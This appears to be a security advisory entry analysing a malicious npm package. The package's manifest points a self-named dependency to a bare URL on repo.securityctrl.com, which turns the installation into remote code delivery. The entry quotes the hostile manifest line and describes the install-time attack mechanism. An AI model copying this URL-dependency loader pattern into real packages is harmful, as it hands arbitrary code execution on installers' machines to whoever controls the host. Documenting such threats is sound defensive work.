GCVE-110-OSM-2026-11277

package.json declares a self-named dependency 'sycm-vendors' whose source is the bare URL https://repo.securityctrl.com/sycm-vendors rather than a registry version range, with no version pin and no integrity hash. On npm install, npm resolves this URL and installs whatever tarball the host returns, executing any lifecycle scripts contained in that tarball. The dependency key equals the package's own name (dependency-confusion shape), and the shipped index.js is an inert stub, so the manifest is the entire payload-delivery mechanism — control of repo.securityctrl.com equates to arbitrary code execution on any installer. Judge assessment: This looks like a package-delivery malware loader aimed at npm install-time code execution: the manifest points its own dependency to the bare URL https://repo.securityctrl.com/sycm-vendors, which bypasses the registry and lets the remote host supply an arbitrary tarball. The shipped index.js is just an inert stub (`exports.printMsg`), so the real payload is clearly the URL-based dependency rather than the local source, matching the OSV advisory and the static `url-dependency` finding. The attacker model is a compromised or malicious publisher using dependency-confusion shape plus remote-controlled package contents to execute code on victims during installation. The publisher also has multiple prior critical malicious packages, which strongly corroborates intent rather than a benign packaging mistake. ENTRY index.js (main: index.js) - URL-Based Dependency in package.json: ""dependencies": { "sycm-vendors": "https://repo.securityctrl.com/sycm-vendors"" DESTINATION - 2 loader (urls, domains) (values recorded in verified_iocs) ADDITIONAL FINDINGS - Publisher Has Other Malicious Packages